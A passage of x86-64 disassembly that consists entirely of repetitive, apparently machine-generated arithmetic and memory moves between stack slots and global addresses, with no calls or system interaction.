add eax, ecx
mov rcx, qword [rsp + 0x6860]
mov byte [rcx], al
movzx eax, byte [rsp + 0x12d]
mov rcx, qword [rsp + 0x5870]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a528]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
mov rcx, qword [0x14017a1f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5168]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e08]
movzx eax, word [rax]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x5488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x111]
add eax, ecx
mov rcx, qword [rsp + 0x5428]
mov byte [rcx], al
mov eax, dword [rsp + 0x2d5c]
mov dword [rsp + 0x2fe0], eax
mov rax, qword [rsp + 0x7ba8]
mov rcx, qword [rsp + 0x4f88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5dd0], rax
mov rax, qword [rsp + 0x5e30]
mov rcx, qword [rsp + 0x7320]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7228], rax
lea rax, [rsp + 0x2b14]
mov qword [rsp + 0x7f70], rax
movzx eax, word [rsp + 0xa68]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x6a90]
movzx eax, word [rax]
mov word [0x14017a6f0], ax
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x7f78], rax
mov rax, qword [0x14017a068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7450]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5090]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x137]
xor eax, ecx
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov qword [rsp + 0x7f80], rax
mov eax, dword [rsp + 0x2a80]
movzx ecx, al
mov eax, dword [0x140178e6c]
shl eax, cl
mov rcx, qword [rsp + 0x7d48]
mov dword [rcx], eax
lea rax, [rsp + 0x7b38]
mov qword [rsp + 0x7f88], rax
mov eax, dword [rsp + 0x2e50]
mov ecx, dword [rsp + 0x2e34]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov dword [rcx], eax
lea rax, [0x14017a1a0]
mov qword [rsp + 0x7f90], rax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x5818]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a4f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c3]
and eax, ecx
mov rcx, qword [rsp + 0x53c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa0c]
add eax, ecx
mov rcx, qword [rsp + 0x6ad8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa7]
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x5500]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d10]
mov dword [rsp + 0x2fe4], eax
mov rax, qword [rsp + 0x5258]
mov rcx, qword [rsp + 0x5970]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x7f98], rax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xabc]
and eax, ecx
mov rcx, qword [0x14017a420]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f28]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e97]
add eax, ecx
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x7fa0], rax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x6f18]
movsx eax, byte [rax]
movsx ecx, byte [0x140178f07]
sub eax, ecx
mov rcx, qword [rsp + 0x6dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a68]
mov qword [rsp + 0x7fa8], rax
mov rax, qword [rsp + 0x6978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6738]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f80], rax
mov rax, qword [rsp + 0x6300]
mov eax, dword [rax]
mov dword [rsp + 0x2fe8], eax
mov rax, qword [rsp + 0x7348]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d98], eax
movzx eax, word [rsp + 0xd4c]
mov rcx, qword [rsp + 0x7338]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140178fa4], ax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [rsp + 0x15b]
or eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x5670]
movzx eax, word [rax]
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x6900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ce]
shl eax, cl
mov byte [rsp + 0x80], al
lea rax, [rsp + 0xdb4]
mov qword [rsp + 0x7fb0], rax
mov rax, qword [rsp + 0x6868]
mov rcx, qword [rsp + 0x5838]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5978]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov dword [rsp + 0x2fec], eax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x6288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x6098]
mov rcx, qword [rsp + 0x6fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x7278]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x910]
sub eax, ecx
mov word [0x140178f54], ax
movzx eax, byte [rsp + 0x13b]
mov byte [rsp + 0x1d8], al
movzx eax, byte [rsp + 0x182]
movzx ecx, byte [rsp + 0xa2]
add eax, ecx
mov rcx, qword [rsp + 0x7940]
mov byte [rcx], al
lea rax, [rsp + 0xa1c]
mov qword [rsp + 0x7fb8], rax
movzx eax, word [rsp + 0x918]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7470]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e30]
mov rcx, qword [rsp + 0x6078]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62c8]
mov eax, dword [rax]
mov dword [rsp + 0x2ff0], eax
mov rax, qword [rsp + 0x7a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x6530]
mov eax, dword [rax]
mov dword [rsp + 0x2ff4], eax
lea rax, [rsp + 0xcd0]
mov qword [0x14017a6f8], rax
mov rax, qword [rsp + 0x7058]
movzx eax, word [rax]
mov rcx, qword [0x14017a498]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0x60a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c7]
sub eax, ecx
mov rcx, qword [rsp + 0x63c8]
mov byte [rcx], al
lea rax, [rsp + 0xf4]
mov qword [rsp + 0x7fc0], rax
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a145]
sar eax, cl
mov rcx, qword [rsp + 0x6b28]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ce0]
mov qword [rsp + 0x7fc8], rax
mov eax, dword [rsp + 0x2a38]
movzx ecx, al
mov eax, dword [rsp + 0x2ec0]
shl eax, cl
mov rcx, qword [rsp + 0x7390]
mov dword [rcx], eax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x7fd0], rax
mov rax, qword [rsp + 0x5320]
mov rcx, qword [rsp + 0x6390]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0x7110]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178eff], al
movsx eax, word [0x140178ed0]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov rcx, qword [rsp + 0x7370]
mov word [rcx], ax
movzx eax, word [rsp + 0xa64]
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ce8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x140], al
movzx eax, word [rsp + 0xbdc]
mov word [rsp + 0xe28], ax
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x6070]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x5398]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e6c], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x7fd8], rax
mov eax, dword [rsp + 0x2a70]
mov ecx, dword [rsp + 0x2d38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x72d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5dc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f0b], al
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x7fe0], rax
movsx eax, word [rsp + 0xa00]
mov rcx, qword [rsp + 0x6c68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x62a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
mov rax, qword [rsp + 0x6d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x5470]
mov eax, dword [rax]
mov dword [rsp + 0x2ff8], eax
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6370]
shl rax, cl
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x6260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fe8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xa64]
movzx ecx, word [rsp + 0xd60]
sar eax, cl
mov rcx, qword [0x14017a158]
mov word [rcx], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7938]
mov byte [rcx], al
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x7fe8], rax
movzx eax, word [0x140178f64]
movzx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f08]
mov qword [rsp + 0x7ff0], rax
mov rax, qword [rsp + 0x57e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cf4], eax
mov rax, qword [rsp + 0x5c10]
mov ecx, dword [rsp + 0x2f20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x7118]
mov qword [rsp + 0x7ff8], rax
lea rax, [rsp + 0xbf4]
mov qword [0x14017a700], rax
mov rax, qword [0x14017a5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x5898]
movzx eax, byte [rax]
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x7530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
movsx eax, byte [0x140178ecf]
mov rcx, qword [rsp + 0x5bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x4f88]
mov qword [rsp + 0x8000], rax
mov rax, qword [rsp + 0x4e80]
mov rcx, qword [rsp + 0x6790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f78], eax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x2ffc], eax
mov rax, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x7118]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7788]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19a]
sub eax, ecx
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0x6e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
and eax, ecx
mov byte [0x14017a195], al
movzx eax, word [rsp + 0x8d8]
mov word [rsp + 0xe2c], ax
movsx eax, word [rsp + 0x9b8]
mov rcx, qword [0x14017a4e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0x65b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e28]
mov qword [rsp + 0x8008], rax
mov rax, qword [rsp + 0x7ed8]
mov rcx, qword [str.kD3]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7378], rax
mov eax, dword [rsp + 0x2cb8]
movzx ecx, al
mov eax, dword [rsp + 0x2ed8]
shr eax, cl
mov rcx, qword [rsp + 0x6690]
mov dword [rcx], eax
movzx eax, word [rsp + 0xdec]
mov word [rsp + 0xe30], ax
lea rax, [rsp + 0xc58]
mov qword [0x14017a708], rax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7260]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7af0]
movzx eax, word [rax]
mov word [rsp + 0xe34], ax
movsx eax, word [0x14017a488]
mov rcx, qword [rsp + 0x6bf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5690]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6580], rax
lea rax, [rsp + 0x2b18]
mov qword [rsp + 0x8010], rax
mov rax, qword [rsp + 0x6d10]
mov rcx, qword [rsp + 0x7c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6950]
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0x7818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8cc]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [0x14017a320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov rcx, qword [0x14017a230]
mov byte [rcx], al
mov rax, qword [rsp + 0x59b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
sub eax, ecx
mov word [rsp + 0xc68], ax
lea rax, [rsp + 0x18e]
mov qword [rsp + 0x8020], rax
mov rax, qword [0x14017a198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a2]
add eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x8028], rax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [rsp + 0x7638]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2a8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f40], eax
mov eax, dword [rsp + 0x2eb8]
mov dword [rsp + 0x3000], eax
mov rax, qword [rsp + 0x7460]
movsx eax, word [rax]
mov rcx, qword [0x14017a218]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7778]
mov word [rcx], ax
lea rax, [rsp + 0x8a]
mov qword [0x14017a710], rax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0xe34]
movzx ecx, word [rsp + 0xddc]
xor eax, ecx
mov word [rsp + 0xde8], ax
mov rax, qword [0x14017a4e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1de], al
movsx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x5568]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x6300]
mov rcx, qword [rsp + 0x5530]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2cfc], eax
mov rax, qword [rsp + 0x5550]
mov qword [rsp + 0x8030], rax
mov rax, qword [rsp + 0x7d30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d5c]
sar eax, cl
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
lea rax, [rsp + 0x5600]
mov qword [rsp + 0x8038], rax
movzx eax, byte [rsp + 0xe8]
mov byte [0x14017a1a4], al
movzx eax, word [rsp + 0x8d8]
mov rcx, qword [rsp + 0x72e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6578]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7998]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcd0], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x8040], rax
movzx eax, word [rsp + 0xb54]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x6218]
mov word [rcx], ax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x8048], rax
mov rax, qword [rsp + 0x7178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ec4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6978]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0x2a9c]
mov dword [rsp + 0x3004], eax
mov rax, qword [rsp + 0x5ff0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a320]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f0a], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x13e]
add eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0x888]
mov word [rsp + 0xe38], ax
movsx eax, word [rsp + 0x938]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x5a08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e8]
sub eax, ecx
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
lea rax, [rsp + 0x6ca0]
mov qword [rsp + 0x8050], rax
mov rax, qword [rsp + 0x59e0]
mov rcx, qword [rsp + 0x5888]
mov qword [rsp + 0x8058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8058]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6438], rax
mov eax, dword [rsp + 0x2ebc]
mov dword [rsp + 0x3008], eax
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x5a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e60], eax
movsx eax, word [0x140178ef0]
movsx ecx, word [rsp + 0xc98]
or eax, ecx
mov word [0x140178efc], ax
mov rax, qword [rsp + 0x6080]
movzx eax, byte [rax]
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x5d40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov word [rcx], ax
mov rax, qword [rsp + 0x7710]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x8008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6950], rax
lea rax, [0x14017a060]
mov qword [rsp + 0x8060], rax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x5c90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e50]
mov ecx, dword [rsp + 0x2ccc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [0x140178f0e], al
movzx eax, word [rsp + 0xc38]
mov word [rsp + 0xe3c], ax
movzx eax, word [rsp + 0x890]
movzx ecx, word [rsp + 0xbcc]
and eax, ecx
mov word [rsp + 0xd38], ax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x1e1], al
movsx eax, word [rsp + 0xb40]
movsx ecx, word [rsp + 0xb48]
add eax, ecx
mov rcx, qword [rsp + 0x5ca0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6960]
mov ecx, dword [0x140178e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x7a98]
mov eax, dword [rax]
mov dword [rsp + 0x300c], eax
mov rax, qword [rsp + 0x6808]
mov rcx, qword [rsp + 0x7180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0x5e20]
mov qword [rsp + 0x8068], rax
mov rax, qword [0x14017a3c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd3]
add eax, ecx
mov rcx, qword [0x14017a3b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x10f]
movsx ecx, byte [rsp + 0xd7]
or eax, ecx
mov rcx, qword [rsp + 0x6488]
mov byte [rcx], al
movzx eax, word [0x14017a368]
mov word [rsp + 0xe40], ax
movsx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0x66f8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8b4]
xor eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x3010], eax
mov rax, qword [rsp + 0x6348]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e40]
sar eax, cl
mov dword [rsp + 0x2be4], eax
lea rax, [rsp + 0x7428]
mov qword [rsp + 0x8070], rax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f50]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0x990]
sub eax, ecx
mov word [0x140178fa8], ax
movzx eax, byte [rsp + 0x12d]
movzx ecx, byte [rsp + 0x1d0]
add eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x8078], rax
movzx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0xa44]
mov word [rsp + 0xe44], ax
mov eax, dword [rsp + 0x2cb4]
mov ecx, dword [rsp + 0x2e14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x7bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov qword [rsp + 0x8080], rax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [0x14017a060]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x106]
sub eax, ecx
mov byte [0x140178eb3], al
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x8088], rax
movsx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x65c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5910]
mov word [rcx], ax
mov rax, qword [rsp + 0x58e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x6eb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x7b28]
mov rcx, qword [rsp + 0x54a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6be0], rax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov dword [rsp + 0x3014], eax
mov rax, qword [rsp + 0x7f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6338]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5e20], rax
lea rax, [rsp + 0x2b38]
mov qword [rsp + 0x8090], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x61a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6e]
mov byte [0x14017a1a5], al
mov rax, qword [rsp + 0x7998]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x920]
shl eax, cl
mov rcx, qword [rsp + 0x6220]
mov word [rcx], ax
lea rax, [rsp + 0xc1]
mov qword [rsp + 0x8098], rax
mov rax, qword [rsp + 0x6a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5cb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
lea rax, [0x14017a058]
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x57e0]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6dd0]
mov rcx, qword [rsp + 0x6b00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x3018], eax
mov rax, qword [rsp + 0x6e18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac8]
sub eax, ecx
mov word [rsp + 0xaa4], ax
movsx eax, byte [rsp + 0x1b9]
mov rcx, qword [rsp + 0x7e40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ebb], al
lea rax, [0x140178eb0]
mov qword [rsp + 0x80a8], rax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6068]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
movzx eax, word [rsp + 0xd2c]
movzx ecx, word [0x140178f78]
add eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov word [rcx], ax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0x77e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ee8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a70], rax
mov eax, dword [rsp + 0x2bac]
mov dword [rsp + 0x301c], eax
mov rax, qword [rsp + 0x51c0]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bf8], rax
lea rax, [rsp + 0x182]
mov qword [rsp + 0x80b8], rax
lea rax, [rsp + 0x67]
mov qword [0x14017a718], rax
mov rax, qword [rsp + 0x6a18]
movzx eax, byte [rax]
movzx ecx, byte [0x140178eff]
